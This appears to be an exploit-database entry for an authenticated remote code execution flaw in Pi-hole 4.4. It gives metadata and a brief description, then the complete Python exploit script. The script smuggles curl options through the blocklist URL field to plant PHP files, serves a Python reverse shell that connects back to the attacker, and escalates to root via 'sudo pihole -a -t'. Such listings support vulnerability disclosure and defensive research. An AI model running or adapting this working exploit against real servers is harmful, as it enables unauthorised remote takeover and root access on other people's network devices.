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Suggest Exploit
vendor:
Pi-hole
by:
Nick Frichette
8.8
CVSS
HIGH
Remote Code Execution
78
CWE
Product Name: Pi-hole
Affected Version From: 4.4
Affected Version To: 4.4
Patch Exists: YES
Related CWE: N/A
CPE: a:pi-hole:pi-hole
Metasploit: N/A
Other Scripts: N/A
Platforms Tested: Linux
2020

Pi-hole <= 4.4 RCE

This exploit allows an attacker to execute arbitrary code on the vulnerable Pi-hole server. The exploit requires the attacker to have an authenticated session token, the target's URL, the attacker's IP address, and the port to listen for the reverse shell. The exploit uses a Python3 reverse shell one-liner to execute the code.

Mitigation:

Ensure that the Pi-hole server is running the latest version of the software and that all authentication tokens are kept secure.
Source

Exploit-DB raw data:

#!/usr/bin/env python3

# Pi-hole <= 4.4 RCE
# Author: Nick Frichette
# Homepage: https://frichetten.com
#
# Note: This exploit must be run with root privileges and port 80 must not be occupied.
#       While it is possible to exploit this from a non standard port, for the sake of 
#       simplicity (and not having to modify the payload) please run it with sudo privileges.
#       Or setup socat and route it through there?

import requests
import sys
import socket
import _thread
import time

if len(sys.argv) < 4:
    print("[-] Usage: sudo ./cve.py *Session Cookie* *URL of Target* *Your IP* *R Shell Port*")
    print("\nThis script will take 5 parameters:\n  Session Cookie: The authenticated session token.\n  URL of Target: The target's url, example: http://192.168.1.10\n  Your IP: The IP address of the listening machine.\n  Reverse Shell Port: The listening port for your reverse shell.")
    exit()

SESSION = dict(PHPSESSID=sys.argv[1])
TARGET_IP = sys.argv[2]
LOCAL_IP = sys.argv[3]
LOCAL_PORT = sys.argv[4]

# Surpress https verify warnings
# I'm asuming some instances will use self-signed certs
requests.packages.urllib3.disable_warnings()

# Payload taken from http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
# I opted to use the Python3 reverse shell one liner over the full PHP reverse shell.
shell_payload = """<?php
  shell_exec("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\"%s\\\",%s));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\\"/bin/sh\\",\\"-i\\"]);'")
?>
""" %(LOCAL_IP, LOCAL_PORT)

root_payload = """<?php
  shell_exec("sudo pihole -a -t")
?>
"""

def send_response(thread_name):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.bind((LOCAL_IP,int(80)))
    sock.listen(5)

    connected = False
    while not connected:
        conn,addr = sock.accept()
        if thread_name == "T1":
            print("[+] Received First Callback")
            conn.sendall(b"HTTP/1.1 200 OK\n\nstuff\n")
        elif thread_name == "T2":
            print("[+] Received Second Callback")
            print("[+] Uploading Root Payload")
            conn.sendall(bytes(root_payload, "utf-8"))
        elif thread_name == "T3":
            print("[+] Received Third Callback")
            conn.sendall(b"HTTP/1.1 200 OK\n\nstuff\n")
        else:
            print("[+] Received Fourth Callback")
            print("[+] Uploading Shell Payload")
            conn.sendall(bytes(shell_payload, "utf-8"))
        conn.close()
        connected = True

    sock.close()

_thread.start_new_thread(send_response,("T1",))


# Fetch token
resp = requests.get(TARGET_IP+"/admin/settings.php?tab=blocklists", cookies=SESSION, verify=False)
response = str(resp.content)
token_loc = response.find("name=\"token\"")
token = response[token_loc+20:token_loc+64]


# Make request with token
data = {"newuserlists":"http://"+LOCAL_IP+"#\" -o fun.php -d \"","field":"adlists","token":token,"submit":"saveupdate"}
resp = requests.post(TARGET_IP+"/admin/settings.php?tab=blocklists", cookies=SESSION, data=data, verify=False)
if resp.status_code == 200:
    print("[+] Put Root Stager Success")


# Update gravity
resp = requests.get(TARGET_IP+"/admin/scripts/pi-hole/php/gravity.sh.php", cookies=SESSION, verify=False)

time.sleep(3)
_thread.start_new_thread(send_response,("T2",))


# Update again to trigger upload of root redirect
resp = requests.get(TARGET_IP+"/admin/scripts/pi-hole/php/gravity.sh.php", cookies=SESSION, verify=False)

time.sleep(1)
_thread.start_new_thread(send_response,("T3",))

data = {"newuserlists":"http://"+LOCAL_IP+"#\" -o teleporter.php -d \"","field":"adlists","token":token,"submit":"saveupdate"}
resp = requests.post(TARGET_IP+"/admin/settings.php?tab=blocklists", cookies=SESSION, data=data, verify=False)
if resp.status_code == 200:
    print("[+] Put Shell Stager Success")

resp = requests.get(TARGET_IP+"/admin/scripts/pi-hole/php/gravity.sh.php", cookies=SESSION, verify=False)

time.sleep(1)
_thread.start_new_thread(send_response,("T4",))

resp = requests.get(TARGET_IP+"/admin/scripts/pi-hole/php/gravity.sh.php", cookies=SESSION, verify=False)


print("[+] Triggering Exploit")
try:
    requests.get(TARGET_IP+"/admin/scripts/pi-hole/php/fun.php", cookies=SESSION, timeout=3, verify=False)
except:
    # We should be silent to avoid filling the cli window
    None